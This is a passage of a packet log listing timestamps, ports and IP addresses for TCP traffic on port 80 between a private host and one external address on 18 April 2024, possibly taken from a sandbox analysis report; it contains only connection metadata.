Apr 18, 2024 23:40:09.420526028 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:09.420531034 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.420582056 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.420603037 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:09.420618057 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:09.420622110 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.420660973 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.420681000 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:09.420696974 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.420702934 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:09.420741081 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.420746088 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:09.420775890 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.420815945 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.420824051 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:09.420856953 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.420944929 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:09.670661926 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.670728922 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.670769930 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.670809984 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.670842886 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:09.670852900 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.670881987 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:09.670892954 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.670901060 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:09.670938015 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.670977116 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.671003103 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:09.671016932 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.671066999 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.671077013 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:09.671093941 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.671108961 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.671123981 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.671139956 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.671149015 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:09.671154976 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.671149015 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:09.671169043 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.671195030 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:09.671195030 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:09.671202898 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:09.671211958 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.671250105 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.671255112 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:09.671289921 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.671293020 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:09.671330929 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.671370029 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.671399117 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:09.671408892 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.671439886 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:09.671447992 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.671499968 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.671536922 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:09.671542883 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.671581030 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.671608925 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:09.671622038 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:09.671622992 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.671677113 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.671717882 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:09.671730995 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.671772003 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.671813011 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.671818972 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:09.671854973 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.671859026 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:09.671895981 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.671936035 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.671941996 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:09.671974897 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.672013044 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.672019005 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:09.672053099 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.672063112 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:09.672096968 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.672173023 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.672173977 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:09.672215939 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.672310114 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:09.922184944 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.922244072 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.922255039 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:09.922286987 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.922288895 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:09.922328949 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.922333002 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:09.922388077 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:09.922398090 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.922437906 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.922440052 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:09.922476053 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.922480106 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:09.922516108 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.922521114 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:09.922555923 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.922591925 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:09.922596931 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.922631979 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:09.922638893 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.922643900 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:09.922678947 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.922684908 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:09.922718048 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.922724962 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:09.922759056 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.922769070 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:09.922801018 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.922812939 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:09.922841072 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.922846079 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:09.922878981 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.922889948 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:09.922916889 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.922945023 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:09.922954082 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.922971010 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:09.922995090 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.923003912 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:09.923034906 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.923038006 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:09.923074007 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:09.923074961 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.923113108 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.923115969 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:09.923152924 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.923155069 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:09.923192978 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.923208952 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:09.923232079 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.923235893 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:09.923269987 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.923281908 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:09.923309088 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.923314095 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:09.923346996 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.923350096 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:09.923383951 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.923386097 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:09.923423052 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.923429966 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:09.923463106 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.923466921 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:09.923501968 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.923516035 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:09.923541069 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.923542023 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:09.923578024 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.923579931 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:09.923619032 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.923621893 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:09.923657894 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.923662901 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:09.923696041 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.923702002 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:09.923733950 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.923738003 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:09.923770905 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:09.923772097 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.923810005 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.923818111 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:09.923847914 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.923854113 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:09.923886061 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.923888922 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:09.923924923 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.923928022 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:09.923963070 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.923969030 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:09.924001932 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.924005985 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:09.924041033 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.924041986 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:09.924079895 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.924083948 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:09.924132109 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:09.924138069 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.924177885 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.924181938 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:09.924216986 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.924222946 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:09.924256086 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.924262047 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:09.924294949 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.924297094 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:09.924334049 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.924335957 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:09.924374104 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.924376011 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:09.924412966 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.924415112 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:09.924449921 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.924455881 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:09.924489975 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.924491882 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:09.924532890 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:09.924534082 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.924575090 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.924580097 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:09.924613953 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.924618959 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:09.924652100 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.924657106 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:09.924690962 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.924695969 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:09.924730062 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.924741030 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:09.924763918 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:09.924767971 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.924807072 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.924812078 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:09.924844980 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.924849987 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:09.924885035 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:09.924885035 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.924923897 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.924926043 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:09.924962997 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.924967051 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:09.925000906 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.925004005 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:09.925040007 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.925070047 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:09.925077915 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.925080061 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:09.925122023 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.925123930 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:09.925163031 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.925164938 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:09.925201893 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.925209045 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:09.925241947 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.925259113 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:09.925281048 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.925292969 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:09.925321102 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.925326109 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:09.925359964 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:09.925360918 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:09.925401926 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.175122976 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.175156116 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.175174952 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.175193071 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.175192118 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.175214052 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.175231934 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.175244093 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.175244093 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.175250053 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.175270081 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.175272942 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.175288916 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.175295115 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.175307035 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.175326109 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.175333977 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.175333977 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.175342083 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.175363064 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.175365925 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.175365925 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.175381899 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.175383091 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.175400972 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.175403118 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.175419092 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.175420046 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.175438881 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.175451040 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.175451040 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.175457001 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.175474882 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.175476074 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.175494909 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.175513029 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.175523043 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.175523043 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.175530910 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.175549030 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.175568104 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.175581932 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.175581932 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.175581932 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.175586939 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.175604105 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.175621986 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.175611973 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.175611973 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.175640106 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.175653934 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.175653934 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.175653934 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.175661087 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.175676107 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.175679922 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.175698042 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.175709009 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.175709009 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.175715923 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.175734997 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.175745964 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.175745964 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.175751925 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.175772905 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.175774097 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.175790071 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.175791025 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.175806046 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.175812006 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.175829887 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.175831079 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.175848961 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.175853968 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.175867081 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.175869942 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.175884008 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.175887108 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.175905943 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.175913095 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.175924063 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.175930023 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.175942898 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.175956964 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.175956964 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.175961971 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.175980091 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.175996065 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.176001072 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.176013947 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.176022053 CEST	49744	80	192.168.2.4	193.233.132.167
